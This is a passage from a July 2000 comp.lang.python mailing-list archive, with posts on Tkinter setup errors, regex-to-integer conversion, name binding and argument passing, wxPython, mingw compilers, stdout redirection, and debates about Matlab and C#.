Traceback (innermost last):
  File "<stdin>", line 1, in ?
  File
"/users/public_w3p/share/python/Python-1.5.2/lib/python1.5/lib-tk/Tkinter.py",
line 1947, in _test
    root = Tk()
  File
"/users/public_w3p/share/python/Python-1.5.2/lib/python1.5/lib-tk/Tkinter.py",
line 886, in __init__
    self.tk = _tkinter.create(screenName, baseName, className)
TclError: Can't find a usable init.tcl in the following directories:
 



This probably means that Tcl wasn't installed properly.
-----------------

I don't know where the python interpreter try to find the init.tcl file,
in which directories
it searches.
I've put this file in a directory included in the $PYTHONLIB, but it
doesn't work as you
can see, if you have an idea...




> Similar problem; the regex engine finds an alternative match.  Why not
> just write:
>
> path, filename = os.path.split( filename )
> if 'SCCS' in string.split(path, os.pathsep):
>     # SCCS in path


I have make a sample as simple as possible in order to points out the
problem, and of course for a such simple thing I'd rather use the string
module, but my real code is more complex and I can't specialize it like
this.

> for the second?  Much clearer than a complicated regex which has to be
> analyzed to be understood, and it makes it more apparent that you're
> making a decision based on the path.

I want to use to regex module because I want to match thing like :
it begins with something "/foo" then there is something I don't care,
then I can find something like "F.?[0-9][\w*][.]/" and then something
I don't care and it will finish by a "java|py" string.
Of course, this is an example !

thanks for your answer.

--
Fr?d?ric LAURENT
mailto:frederic.laurent at sxb.bsf.alcatel.fr
T?l : (33) 03 88 55 70 00  poste 57228


From neilh at scintilla.org  Mon Jul 17 20:56:56 2000
From: neilh at scintilla.org (Neil Hodgson)
Date: Tue, 18 Jul 2000 00:56:56 GMT
Subject: automatically filling web forms?
References: <JI4c5.27939$SU5.618637@afrodite.telenet-ops.be> <etdaefjvyvc.fsf@w20-575-115.mit.edu> <JI4c5.27939$SU5.618637@afrodite.telenet-ops.be> <20000717071134.A2351410@vislab.epa.gov> <ScFc5.3276$Ji7.53171@afrodite.telenet-ops.be>
Message-ID: <sXNc5.4744$4p3.34896@news-server.bigpond.net.au>

> Still, have some questions though. Another cgi script that I'm trying to
> write to doesn't work.
> The python program hangs and just waits until I terminate it. Any idea.

   Its a good idea to read

http://www.webtechniques.com/archives/1998/02/kuchling/

   the techique given for ensuring you see tracebacks is very useful.

   Neil




From scarblac-spamtrap at pino.selwerd.nl  Tue Jul 25 13:33:25 2000
From: scarblac-spamtrap at pino.selwerd.nl (Remco Gerlich)
Date: 25 Jul 2000 17:33:25 GMT
Subject: Python is wierd!
References: <LNBBLJKPBEHFEDALKOLCOEMPGLAA.tim_one@email.msn.com> <8lk1c5$fv4$1@nnrp1.deja.com>
Message-ID: <slrn8nrjpo.54h.scarblac-spamtrap@flits104-37.flits.rug.nl>

Jonathan wrote in comp.lang.python:
> I'm making this judgment from a perspective of a newbie to python,
> comparing to my experience with these 2 languages(back when i first
> started learning them). I'm thinking back which one has been easy to
> pick up so far, and which one helps me to understand programming
> principles. Things like strict typing, declaration of
> functions/variables, difference btwn pass-by-value or pass-by-
> reference, static or instance variables, (etc) seems easier to explain
> to a newbie in Pascal or Java (of course i dun mean to use pascal for
> serious programming purposes).

Of course. And backtracking cuts are easier to explain in Prolog.

Those things aren't basic programming principles - algorithms are, the whole
concept of algorithms. Strict typing, declaration, pass-by-, static variables,
they're all just elements of the particular languages you name. But they're
not the basic principles. To me, Python has less irrelevant things to learn,
so you can learn about algorithms faster. Almost immediately.

How does java "Hello World" go again? Something like

public class HelloWorld {
   public static void main(String[] args) {
      System.out.println("Hello World!");
   }
}

Look at all the irrelevant language-specific stuff the newbie has to know
about!

Now show the newbie how a sorting algorithm for a list of numbers works;
and compare to the Python version :).

You think Python is weird - well, yes, it's different from C, Pascal and
stuff. Those are very traditional procedural languages. But languages are
supposed to be different, otherwise there would be no point :-). It would
be good to look at some others, like Lisp, Haskell, Prolog...


-- 
Remco Gerlich,  scarblac at pino.selwerd.nl
"This gubblick contains many nonsklarkish English flutzpahs, but the
 overall pluggandisp can be glorked from context"  (David Moser)


From hzhu at users.sourceforge.net  Fri Jul 28 15:00:28 2000
From: hzhu at users.sourceforge.net (Huaiyu Zhu)
Date: Fri, 28 Jul 2000 19:00:28 GMT
Subject: "always passes by reference"
References: <8llct3$n34$1@news.dtc.hp.com><397FCE9C.F22BB6B4@see.my.signature> <B5A66D15.6B2D%dgoodger@bigfoot.com>
Message-ID: <slrn8o3m9q.1cq.hzhu@rocket.knowledgetrack.com>

Let's see if this description make sense.

In python there are objects and there are names.  There are operations that
act on existing objects and those that create new objects.  These have
nothing to do with mutability, except that for immutable objects, there are
no operations acting on existing objects.

Assignments change what a name refers to:

a = b      # these two names now refer to the same object.
b = c      # b refers to the one c refers to, instead of the one a refers to.

Function calls pass reference of existing objects to local names in the
function.  Whether within the function you do things to the existing objects
or newly created objects is another matter:

b.method_call()        # A reference to the object refered by b (and c) is
                       # passed in (as self).
                       # The object may be modified in function.
                       # The names b and c still refer to the same object.

do_something_to(b)     # A reference to the object is passed in.
                       # The object may be modified in function.
		       # The names b and c still refer to the same object.

b = some_operation(b)  # A reference to the object is passed in.
                       # The object may be modified in function.
		       # The name c still refers to the same object.
		       # The assignment causes b to refer to the returned
		       # object, which may be the same, or different. 

The difficulty of new users from other languages is that they are not used
to regarding a name and the object it refers to as separate things. In
staticly typed languages, the association between names and objects are much
tighter - it happens at declarations and often never changes.

IMHO, the name/object dichotomy is much more descriptive for python than the
reference/value dichotomy.

Huaiyu


On Thu, 27 Jul 2000 22:49:58 -0400, David Goodger <dgoodger at bigfoot.com> wrote:
>"Pass by Spanish Inquisition" is a highly Pythonic term, and one that I like
>a lot. However... (and forgive me if this has already been mentioned)
>
>I've heard Python's parameter passing termed "pass by assignment". So a
>function:
>
>    def f(x):
>        pass
>
>which is called as:
>
>    f(y)
>
>simply does the assignment:
>
>    x = y
>
>with x in the function's namespace, and y in the caller's namespace. So what
>happens in regards to values/references? Lists and dictionaries appear to be
>passed by reference, because they're mutable. Strings, tuples and numbers
>appear to be passed by value, because they're immutable. Not having delved
>into the internals of the process, I can't authoratively say, but this seems
>a perfectly reasonable explanation to me. All parameters are simply assigned
>or bound to new names in new local namespaces. What is possible depends on
>the type of object that's passed.
>
>Of course, this just passes the buck over to, "so how is assignment
>performed in Python?". But that seems to be an easier question to answer.
>



From embed at NOSPAM.geocities.com  Fri Jul  7 09:25:53 2000
From: embed at NOSPAM.geocities.com (Warren Postma)
Date: Fri, 7 Jul 2000 09:25:53 -0400
Subject: wxPython or wxWindows + Python?
References: <3964FE55.ECD800AB@tds.net>
Message-ID: <fTk95.17513$227.317981@nnrp1.uunet.ca>

> Hi,
>
> I'm thinking of embedding the Python interpreter in my wxWindows app, or
> else using wxPython to host my app.  I can think of various pros & cons.
>

If I was doing that, I would start in Python, because it's certainly better
to prototype in Python,
and then I would consider writing C extensions for the Python app as an
"accelerator" once a
well known function exists that you could boil down to C code.

The eventual third alternative is to do BOTH. Write your C++ app in
wxWindows, and also use wxPython.
I haven't tried this personally, but I suppose I'll end up doing something
like it if I ever have an application grow
large enough.

Warren






From ekw1 at my-deja.com  Thu Jul  6 23:54:23 2000
From: ekw1 at my-deja.com (ekw1 at my-deja.com)
Date: Fri, 07 Jul 2000 03:54:23 GMT
Subject: mxODBC module
References: <8k14us$c4c$1@nnrp1.deja.com> <20000706110421.B876@reepicheep.avalongroup.net>
Message-ID: <8k3k9c$vrv$1@nnrp1.deja.com>

In article <20000706110421.B876 at reepicheep.avalongroup.net>,
  Timothy Grant <tjg at exceptionalminds.com> wrote:
> On Thu, Jul 06, 2000 at 05:20:33AM +0000, ekw1 at my-deja.com wrote:
>
> I can't help you with the first problem, but I know the second one
well.
> Usually this happens when you have installed the win32 extensions.
There is
> an ODBC module that comes with them and you end up with a name
conflict. The
> solution is to delete the odbc.pyc file that is in one of the
python/Win32
> directories. (Sorry, I don't have a Windows computer near me at the
moment
> to check the exact place).
>

Your solution sounded like it would work, but then I found out that I
don't have the win32 extensions installed.  Thanks for your help.

ekw


Sent via Deja.com http://www.deja.com/
Before you buy.


From kern at caltech.edu  Sat Jul  8 23:26:20 2000
From: kern at caltech.edu (Robert Kern)
Date: Sat, 08 Jul 2000 23:26:20 -0400
Subject: Anyone used Python for GPIB instrument control?
References: <Pine.OS2.3.95.1000708183952.1432D-100000@CENTRAL> <3967A2E2.F6AFEE44@home.com>
Message-ID: <3967F0DC.AAA67AE@caltech.edu>

europax at home.com wrote:
> 
> I think I am going to get a C compiler for work where we use NT.  At
> home here I use Linux and don't want to eat up my hard drive with
> Windoze stuff (I have Windows 3.1, though since it is so small)
> 
> I saw that Borland is selling a CD with Turbo C, Turbo C++,etc for about
> $60.  Thats a pretty good deal.  I also found some free WIN32
> compilers.  One based on the GNU gcc and it has an IDE called Rhine.

To toot my own horn a little, you can use gcc (for the mingw target) to 
compile Python extensions that are binary-compatible with the released 
Python executable.

See http://starship.python.net/crew/kernr

If you can spare the disk space, I recommend installing Cygwin 
( http://sourceware.cygnus.com/cygwin ) to give you a UNIX-ish 
environment, and then install the mingw compiler.  If you're into
IDEs, there is a listing available at http://www.mingw.org/mingwfaq.shtml

Happy hunting.

> Rob.

[snip]

--
Robert Kern
kern at caltech.edu

"In the fields of hell where the grass grows high
 Are the graves of dreams allowed to die."
  -- Richard Harter


From alex at magenta.com  Sat Jul 29 05:13:48 2000
From: alex at magenta.com (Alex Martelli)
Date: Sat, 29 Jul 2000 11:13:48 +0200
Subject: Perl is worse!
References: <8losor$4bk$1@nnrp1.deja.com> <slrn8o0n0b.qhk.grey@teleute.rpglink.com> <8lpt57$hsu$2@newshost.accu.uu.nl> <slrn8o10ko.rt1.grey@teleute.rpglink.com> <8lq5q6$fn4$1@newshost.accu.uu.nl> <slrn8o1do5.rt1.grey@teleute.rpglink.com> <8lspdu$m7e$1@newshost.accu.uu.nl> <slrn8o40d1.49c.grey@teleute.rpglink.com>
Message-ID: <8luhsi01ce8@news2.newsguy.com>

"Steve Lamb" <grey at despair.rpglink.com> wrote in message
news:slrn8o40d1.49c.grey at teleute.rpglink.com...
    [snip]
> >> (/^(\d{1,2})[Dd](\d{1,3})$/ ||
/^(\d{1,2})[Dd](\d{1,3})([\+\-])(\d{1,2})$/)
>
> >I don't know what you mean here. I never do anything like that, I'm
> >happy to say. :)
>
>     Extracting up to 6 match groups, 5 of which will be integers with the
last
> being a + or a -.  This means all groups can be either strings or None.
I've
> already verified that groups 1-4&6 will be integers through the regular
> expression so why check again?

You have most definitely NOT verified that these groups will be
integers: you have verified that they will be sequences of digits
*which may be empty*.  You keep talking about how the person on the
street feels -- do you truly believe he or she perceives
    ''
as being a NUMBER?!

Of course, you can (and IMHO should) do better in this particular
case because the start of the string is fixed; i.e., you could
use a more compact and efficient expression:

    dicere = re.compile(r'(\d{1,2})[Dd](\d{1,3})([+-]\d{1,2})?$')

The key issue here is striving to 'express any given thing ONLY
ONCE' -- here, the 'given thing' is the start of the RE.

I've also applied two minor simplifications -- no need for a ^ at
the start, since we're going to re.match and not re.search; and
no need to escape the + or - when within brackets.  Strictly an
issue of trying to minimize the syntax-complexity of the RE to
make it as readable as possible (not much, but that's OK:-).

Now, after mat=dicere.match(theline), you've left with only 3
match groups.  Groups mat.group(1) and mat.group(2) are known
to be non-empty sequences of digits; group mat.group(3) is
either empty, or a + or - sign followed by a non-empty sequence
of digits.  You simply need to be explicit about what you
want to do with each, as per Python's general mantra "explicit
is better than implicit".

If you have to do this any oftener than once, you should of
course pack it in a little function of its own.  What to put
in it and what to leave outside is of course an issue of
design, depending on what exactly you need/want to reuse. To
get one single field out as a number (0 if the digit sequence
is empty), you could do:

def intgroup(match,index):
    digits = match.group(index)
    if digits: return int(digits)
    else: return 0

To get ALL of the matched-fields out as numbers (as before):

def intgroups(match):
    results = []
    for g in match.groups():
        if g: results.append(int(g))
        else: results.append(0)
    return results

Or, of course, you could also move the re.match inside
the function itself, etc.  Also, I've been careful to
only return a 0 for an empty sequence ("" or None), and
not many other kinds of non-digit-sequences; you could
soften that, if needed, with a try/except in lieu of
the if construct I've chosen.

On the other hand, you could only package the digit
sequence to integer conversion, if you get such seqs
from several different sources and not just from
match.group constructs:

def asInt(digits):
    if digits: return int(digits)
    else: return 0

and of course you could have BOTH layers, too:

def intGroups(match):
    results = []
    for g in match.groups():
        results.append(asInt(g))
    return results

where the latter might perhaps more elegantly
be expressed as:

def intGroups(match):
    return map(asInt, match.groups())

[map and friends are easy to overuse, but, for a
simple case like this, it seems made to order].


Don't get me wrong -- I fully realize how attractive it
is, when you frequently need a certain functionality, to
find it bundled right in the language, or in its standard
libraries.  Here, you seem to very often need 'treat this
digit-sequence as a number, 0 if empty', and have chosen
to think of any language not supplying it to you in a
pre-cooked form as 'quirky' in this regard.

But, really, the advantages of a language's built-in
behaviour in a given situation being _close_ to what you
want are easily overrated.  As long as the issue is not
as fundamental as, say, unlimited-precision integers:-),
keeping it under your control has its own pluses: when
the behaviour you want becomes slightly different (and
it will!), it's an easy change to make rather than a
potential nightmare.

Let's take your case, that of parsing and interpreting
input strings of the form 'iDj[+k]' as found in role
playing games ('roll i j-sided dice and add k').  Say
that you now also need to support GURPS, which only ever
uses six-sided dice, so the j is often omitted *and needs
to default to SIX*, NOT to zero, when it is.

If you have closely relied on a language's implicitly
and silently transforming empty digit-sequences into 0,
you have to insert a lot of code, in various appropriate
places, of the form "if x==0: x=6".

If you have your own digits-to-number conversion function,
on the other hand, the change is easier, sharper, and
more explicit.  For example:

def asInt(digits, default=0):
    if digits: return int(digits)
    else: return default

def intGroups(match, default6index=-1):
    groups = match.groups()
    defaults = [0] * len(groups)
    if default6index >= 0:
        defaults[default6index] = 6
    return map(asInt, groups, defaults)

Now, you only need to change some calls from:
    x=asInt(match.group(2))
to
    x=asInt(match.group(2), default=6)
(you don't _need_ to give the argument name, but
I find it very readable in this case!), or, when
you're doing it in bulk to all groups, change:
    nums=intGroups(match)
to
    nums=intGroups(match, default6index=2)


> it behind and if or try every time.  I don't feel that is an uncommon
> occurance for anyone who might be taking numbers from plain text and
wanting
> to perform math operations on them.

It's not all that rare, but very often 0 is not the desired result
of an empty digit sequence.  I get a lot of "strings that I know
should be [non-empty sequences of digits; representations of dates;
syntactically valid GUIDs; &c, &c]" from XML parsing, and rarely
is 0 what I want the empty-string or missing-string to be equivalent
to.  An error is more often what I want to receive in that case;
the rarer cases where the empty-string is OK (and the default is
probably most often 1 in that case, NOT 0!) are best handled by
either try/except, or an explicit test.

Why would one think that 0 is most often desired, by the way?  Take
your RPG-dice example again.  If you accepted a syntax such as
'D20+3', would anybody on Earth take that as meaning 'roll no
20-sided dice at all, and add 3 to the non-result'?-)  Come on.
If you ever WANT to accept such specs, they'd better be VERY
explicit, say '0D20+3' -- you want to explicitly SEE that 0 there
(if the string was generated by another program, it might make
life simpler to accept it, but having the explicit 0 is not a
burden and clarifies things).

If you accept 'D20+3', which seems sensible to do, it must default
to mean the same as '1d20+3' -- roll ONE 20-sided die, etc, etc.

Same in the typical XML situations, by the way.
    <sandwich number='2'>
        <ham/>
        <cheese/>
    </sandwich>
is OK for "two ham and cheese sandwiches", but, if the number
attribute can be omitted, then it had better default to ONE
ham and cheese sandwich, not ZERO of them (although the
explicit number='0' case should probably be accepted).

Isn't that what the person on the street expects, when going to
a counter and saying "ham and cheese sandwich, please", rather
than an explicit "one sandwich" or "two sandwiches"?-)  He or
she expects one sandwich, not zero.  What the counter attendant
will do on an explicit order of "zero sandwiches" is here of
course another issue:-).


So, the language had BETTER not second-guess what IS meant
when a digit-sequence happens to be empty!  Defaulting it to
the integer 0, as Perl does, seems to me a pretty bad design
choice, predicated on a situation that is not really frequent.

But I would oppose defaulting it to the integer 1, either, AS
A LANGUAGE-BUILTIN CHOICE.  The meta-design mistake lies in
trying to have the language second-guess the programmer's
intent: explicit is better than implicit.  Just let the
programmer STATE what he or she intends to happen when the
digit-sequence is empty.  If in a given application domain
that is a frequent issue, the statement will happen once,
as a function:

def asInt(digits, ifEmpty=1):
    if digits: return int(digits)
    else: return ifEmpty

the programmer may encode the default once (here assumed to
be 1) and only have to make it explicit in the code body
when it needs to differ; or the '=1' may be omitted if the
programmer accepts 'explicit is better than implicit' and
WANTS to code explicit statements such as:

    x = asInt(match.group(2), ifEmpty=6)

each and every time (maximally readable, IMHO).  In any
case, the choice is UP TO THE PROGRAMMER, just as it should
be: the language has not made it in advance for him/her,
and has not second-guessed in the ambiguous case.  Bliss!-)


> >>> a = 1
> >>> b = a
> >>> a = 2
> >>> b
> 1
> >>> a = [1]
> >>> b = a
> >>> del(a[0])
> >>> b
> []
>
>     Forget, for a moment, what is happening internally.  What looks like
here
> is that in the first case there is an assignment going on and in the
latter a
> reference.  Nevermind that what is happening in the first case is a
references
> objint[1] and b references objint[1] and when we change a it points to a
new
> reference objint[2].  It is the difference in behavior of an identical
> operator that is ambigious.  I'm sure even though I am aware that it
happens I
> am going to be nailed by it a few times before I get used to it.

There is no difference in the behaviour *of an identical operator*.

The difference is in the behaviour of two different constructs,
    a = 2
in the first case versus
    del a[0]
in the second case.

Use IDENTICAL operators, and you'll get the same behaviour:

>>> a=[1]
>>> b=a
>>> a=[2]
>>> b
[1]

See?  EXACTLY as in the first case, b is not in the least affected
by any rebinding whatsoever that you may perform on a.

The difference is between _rebinding_ a, and _modifying_ whatever
a is bound to (which can't happen when a is bound to something that
cannot be modified, of course -- a number, string, tuple).  Rebinding
a never has any effect whatsoever on any other variables that may
happen to have been bound to the same object as a before the latter
variable was re-bound.  Modifying happens to the OBJECT, *not* to
the variable[s] bound to it; and so, after the object is modified,
all variables, still bound, to it now reference the modified object,
never the original, unmodified one, which isn't even around any
longer.

Never any "identical operator" in the two different cases, and
never any ambiguity.  You may have trouble thinking of variables
as post-its that are just transiently bound to something (whether
that something get modified during that transient, or not; indeed,
whether that something is ever SUBJECT to modification, or not),
but there is no ambiguity and no identical-operators.

An everyday analogy is with identifying-roles (unique ones, that
is) as opposed to names.  'The president of Smallton Soccer Club'
and 'The president of Smallton Country Club' can happen to refer
to the same person AT A CERTAIN POINT IN TIME, but there is
nothing forcing the situation to remain the same.  If that person
undergoes some modification, e.g. she dies her hair blue, then
that modification happens to 'both' presidents.  If a new
president of the Country Club is elected, the president of the
Soccer Club can remain the same person.

Other identifying-roles may refer to unmodifiable objects (hard
to find examples in the real world, but a slight abstraction that
is not alien to everyday thinking fixes that).  'My favourite
novel' and 'Your favourite novel' can both happen to be "Moby
Dick" at a given point in time (and nobody's going to modify
the novel "Moby Dick" itself, which is an abstraction of what
is common to all physical books that are copies of it:-).  If
I change my tastes so "My favourite novel" becomes "Heart Of
Darkness", that does not automatically change _yours_, nor can
it modify "Moby Dick" itself in any sense; it's just a rebinding
of one variable, with no effect whatsoever on the bindings of
other variables (here, other people's favourite novels) that just
happened to be similarly bound at one point in time.


> >Isn't that worse than the program giving up?
>
>     No.  The program giving up in the customer's hands because of an
unchecked
> except is a far cry worse than a nigglet but having it continue on.  As a
> customer which would you rather have, given the choice of these two:
>
> a: A program that crashes, stopping everything that you're doing with no
> chance of recovery
>
> b: A program that behaves oddly but allows for chance of recovery.

As the 'behaving oddly' will typically produce irreversible alterations
of a precious persistent database, while the crash can at least be
assumed to leave the database intact, the choice is anything but easy.
Would you rather die suddenly and painlessly, but with no chance of
making a last will and testament, or slowly in excruciating pain, but
with a last chance to put your worldly affairs in order?  What a heck
of a choice to have to make!

Fortunately, it doesn't have to be made: wrapping the top-level entries
in a try/except is so TRIVIALLY easy, that there is really NO excuse
for any program not doing so.  Just as there is no excuse for not
HAVING a last will and testament already made, if your estate (were
you to die suddenly) has any worth whatever (yes, I know that most
people die intestate, often leaving a mess in the executors' hands,
and most programs do crash irretrievably on occasion -- two sad
comments on the state of the world, that most people never think of
their own demise AND most programmers never think of possible errors;
but that does not stop ME from having a last will registered, nor
from wrapping my programs in try/except...:-).

(PS: to ensure the database is unpolluted, transactions exist: a
crash will rollback the transaction, only an explicit commit will
make the changes persist; the 'odd behaviour' that pollutes the
database, however, is not helped at all by this, unless you've
been able to express ALL the semantic constraints on your data
as triggers in your db -- fat chance!-).


>     Right, which is worthless in a script.  I'd personally have the Python
> check what mode it is in and toss an exception when it is in interactive
mode
> and gets a meaningless statement.  It does so on every other possible
> ambiguity, why not this one when it is even less grey than a lot of the
ones I
> am tossing out?  Is there a purpose for having such informative statements
in
> non-interactive mode?

I'm not sure there is any practical way for Python to ensure that
a certain statement IS meaningless, i.e., that it can have had no
side-effects whatsoever.  If such insurance could be had without
pain, it would be worth having.  But if there's a price to be paid,
and I suspect there would be, I would not be willing to pay it.


> >No, my entire point was that you need to know what your data is *anyway*.
>
>     Right, I know what the data is, I don't need the language to ask me at
> every operation, "Are you sure?  I mean, really, really, REALLY sure!?"

The language asks nothing: just TELL it what you know, explicitly.  If
you know s is a string which is a non-empty sequence of digits, and want
to use the equivalent integer, use int(s).  If s may be an empty sequence,
or None, or "foo", you need to just-as-unambiguously state what is to
be done in those cases.  You appear to ASSUME that the only sensible
thing in those cases is to have int(s) return 0, but I hope I've shown
above how wrong that would be.  Just write your explicit, tailored
conversion-function ONCE, again as shown above, and you're all set.


> >You need to know that something is an integer anyway, so why not simply
> >tell the computer what's going on? I'm *not* saying the language should
> >do the checking. It can't; even though Perl tries.
>
>     Because what if I want to do something that the computer thinks is
> non-sensical?

Such as?  Whatever it IS you want to do, if algorithmically feasible, it
can be expressed.


> >checking. If you want the system to shut up about your mistakes,
> >you can always do this in Python:
>
> >try:
> >   a = a + 1
> >except:
> >   pass
>
>     Great, now I get to litter my code on a per operation basis with tries
> instead of being able to set it on certain variables.  That would make
more
> sense.

In Python, a variable refers to an object, PERIOD.  It would make no
sense at all, in this setting, to make a variable carry, besides the
reference, extra flags specifying peculiar special-case behaviour, so
that two variables referring to the same object would not be equivalent
because of the flag-setting; a huge increase of complexity for no real
gain, since the flags' meaning just has to depend on the object as well,
so what happens when the variable with the peculiar flags is re-bound
to some object of a completely different type?

You want tailored behaviour, you put it in the OBJECT, *NOT* in the
several variables that may or may not refer to it at different points
in time.  We're doing OBJECT-oriented programming, not VARIABLE-
oriented programming, see?

This is utterly fundamental to the language architecture, and
even the underlying idea of O-O programming.  Getting different
behaviour from two variables referring to the same object, as
can happen e.g. in C++ (because C++ variables also have type, as
well as object having it, and not all methods need be virtual,
so there CAN be a semantic mismatch between variable & object!)
is a horrid wart, and in practice never what one MEANS to do.


>     Right, which is basically what I had to do except I left None as None.
> Just seems like a pain in the butt to do after I have allready made sure,
> beyond all doubt, that those variables contain numbers in the first place.

Hey, you just *SAID* there could be a None, so you had NOT made
sure at all that they did contain numbers!  None is NOT a number.
The empty sequence is not a number.  You're contradicting yourself!


> >Though I may be missing something about regular expressions here and
> >I'm goofing up?
>
>     A regex could return a string or None, only one of which is
convertable to
> int.  You must litter your code with such checks.

No, you must just code *ONCE* what specific integer you want None to
be transformed to: you encode that in a make-this-an-integer function,
and, if it's always the same integer, you're done -- you then just
call that function, see above.  Which gives you the needed flexibility
of having a different number for None in some cases, etc, etc, again
see above.


Alex





From wjdandreta at worldnet.att.net  Wed Jul  5 01:15:39 2000
From: wjdandreta at worldnet.att.net (William Dandreta)
Date: Wed, 05 Jul 2000 05:15:39 GMT
Subject: Python and .lib files
Message-ID: <%vz85.6488$oh5.499440@bgtnsc04-news.ops.worldnet.att.net>

Is it possible to call functions in a .lib file with Python?

If so, what is the easiest way to do so?

Bill




From gee308 at mediaone.net.bbs  Tue Jul 18 01:10:03 2000
From: gee308 at mediaone.net.bbs (gee308 at mediaone.net.bbs)
Date: 18 Jul 2000 05:10:03 GMT
Subject: newb question
Message-ID: <3bRc3R$lXa@openbazaar.net>

what is a simple way I can save variables that people enter in from
'raw_input' ?  That way, someone enters the variables they want, then
when the script is booted up everytime the machine starts, it will grab
the variables from somewhere.  Thanks.
Jason Toy
toyboy at toy.eyep.net


From petersc at stud.ntnu.no  Mon Jul 10 18:14:47 2000
From: petersc at stud.ntnu.no (Peter Schneider-Kamp)
Date: Mon, 10 Jul 2000 22:14:47 +0000
Subject: redirect output of functions to a string or file
References: <LBpa5.563$iT2.6319@m2newsread.uni2.es>
Message-ID: <396A4AD7.5A3966E6@stud.ntnu.no>

"Fernando Rodr?guez" wrote:
> 
>     Is there a way to tell Python to "automagically" redirect the output
> of _all_ functions to a string or file? O:-)

You can redirect standard output:

import sys
sys.stdout = open("somefile.output","w")

then you can just print the result of the functions.

hope that helps - if not, send code or wait for better replies,
Peter
--
Peter Schneider-Kamp          ++47-7388-7331
Herman Krags veg 51-11        mailto:peter at schneider-kamp.de
N-7050 Trondheim              http://schneider-kamp.de



From zeitlin at seth.lpthe.jussieu.fr.bbs  Mon Jul 17 10:40:02 2000
From: zeitlin at seth.lpthe.jussieu.fr.bbs (zeitlin at seth.lpthe.jussieu.fr.bbs)
Date: 17 Jul 2000 14:40:02 GMT
Subject: Looking for a tree widget with control of text color
Message-ID: <3bRFK3$izp@openbazaar.net>

On Wed, 12 Jul 2000 14:23:54 GMT, Tom <NoSpam at NoSpam.com> wrote:
>This surprises me.
>It is my understanding that wxPython is a 'native' gui, so, on Windows, its
>tree control would be implemented using the windows tree view common
>control,

 This is correct.

> which is dynamic but doesn't support differing text colors for
> different nodes.

 This is not entirely correct: newer (comctl32.dll 4.70+) versions of the
treeview common control implement the so called "custom draw" functionality
which wxTreeCtrl uses.

 Regards,
VZ


From ge at nowhere.none  Mon Jul 10 17:21:51 2000
From: ge at nowhere.none (Grant Edwards)
Date: Mon, 10 Jul 2000 21:21:51 GMT
Subject: Enumerating drives
References: <Syna5.206$967.189230592@newsb.telia.net>
Message-ID: <P7ra5.3813$iN5.980685@ptah.visi.com>

In article <Syna5.206$967.189230592 at newsb.telia.net>, Lars Lundstedt wrote:

>Anyone know how to enumerate drives (local and network) in Python?

I can't believe that Windows users and applications are still
expected to know what server and/or drive and partition
contains their files.

That is _so_ 1969.

-- 
Grant Edwards                   grante             Yow!  I'm having an
                                  at               emotional outburst!!
                               visi.com            


From boncelet at eecis.udel.edu  Mon Jul 17 13:24:45 2000
From: boncelet at eecis.udel.edu (Charles Boncelet)
Date: Mon, 17 Jul 2000 13:24:45 -0400
Subject: Matlab vs Python (was RE: Discussion: Introducing new operators for 
 matrix computation)
References: <slrn8mpi53.sh.hzhu@rocket.knowledgetrack.com>
Message-ID: <3973415D.5262CD86@eecis.udel.edu>

(Huaiyu Zhu wrote a proposal for adding special linear algebra operator to
Python)

This proposal has been dismissed by many on this list (my paraphrasing)
"because we don't want to pollute Python with new symbols/syntax
for just one problem domain."  Some have dismissed linear algebra
as a small domain at that.

Let's get some facts (yes, I know we are not supposed to let facts
interfere with our arguments on usenet):

1. Amazon.com lists 117 book matches for "python", but most of these
are for the snake or Monte.  A quick perusal indicates there are 13 books
currently available and another 7 on order for language.  Amazon lists
179 matches for "matlab", of which 81 are currently available and 61 on order.

Verdict:  there are approximately 7 times as many Matlab books as
Python books.

2. Alta Vista finds 4492 pages for "python language",  and 489540 for
"matlab".  Even the one word "python" search only finds 412030 pages
(which of course includes many references to the comedy troupe
and the snake).

Alltheweb finds 53378 for "python language" and 53368 for "python
program"; it finds 156525 for "matlab".

Verdict: There are 3-100 times as many web pages mentioning "matlab"
as "python language"  or "python program".

3. At my university (which I assume is pretty typical), all the engineering
students use Matlab at some point in their studies.  Most (perhaps all)
of the math, physics, and chemistry students use Matlab at some point.
Many of our ECE graduate students use Matlab extensively in doing
their dissertation research.

AFAIK, I am the only person using python for anything.  (I am sure
there are others, but I don't know of anyone and there are no courses using
python.)

Vendict: at my university, Matlab is tens to hundreds of times more
popular than python.

Conclusion: please don't dismiss linear algebra as "just another
problem domain".  If python incorporated numpy into its core
and added some support for linear algebra syntax, it could easily
double, triple, or more in popularity.

Remember, these people spend real money on Matlab.  Even the
student edition is about $100.

Now to the specifics of the proposal: I'd like to see "@" for matrix
mulitplication and "*" for element-wise multiplication.  This preserves
compatibility with numpy, although breaks it with the MatPy package.
It is more important, IMHO, to preserve compatibility with the existing
python numerical facilities than with Matlab.  Any user switching over
will have to learn a lot of new things anyway.  Distinguishing @ and *
should be easy enough.

    Charlie Boncelet

--
Charles Boncelet                              302-831-8008
Dept of Electrical and Computer Engineering   302-831-4316 (fax)
University of Delaware                        boncelet at eecis.udel.edu
http://www.eecis.udel.edu/~boncelet/


-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-list/attachments/20000717/c522aa04/attachment.html>

From olczyk at interaccess.com  Mon Jul 10 13:52:46 2000
From: olczyk at interaccess.com (Thaddeus L. Olczyk)
Date: Mon, 10 Jul 2000 17:52:46 GMT
Subject: Microsoft's  C# (Sharp) & .NET -- A Heads Up
References: <qJ165.8938$nZ5.153196@typhoon.southeast.rr.com> <395a7440.132798875@nntp.interaccess.com> <39597A25.8BF553C@san.rr.com> <slrn8lj56i.l52.thomas@centurion.xs4all.nl> <395d728e.117049078@nntp.interaccess.com> <395D7E14.B18EC77D@san.rr.com> <3968fadf.299209218@nntp.interaccess.com> <81da5.125084$WS3.1096675@typhoon.we.rr.com> <8kbuqn0uoa@news1.newsguy.com> <Lgga5.125600$WS3.1101565@typhoon.we.rr.com> <8kciag017h5@news2.newsguy.com>
Message-ID: <396d0cde.369352218@nntp.interaccess.com>

On Mon, 10 Jul 2000 15:12:14 +0200, "Alex Martelli" <alex at magenta.com>
wrote:


>
>That much being said, if somebody's gotta be sued under these absurd
>current practices, then, better it be MS, than me; if nothing else, they can
>well afford the lawyers (they, and HP, did manage to win the "look and
>feel" suit, didn't they).
>
>
Yeah, but if they had tried a Mac port which Mac stopped in court
first, they would have lost. 

Lately they haven't had that much luck in court. Anyone using C# has
to take that into account and wonder if it will be here in two years.
Look at J++ ( yes it's still around, but does anyone use it?)


From dale at out-think.NOSPAMco.uk  Sat Jul  1 17:07:33 2000
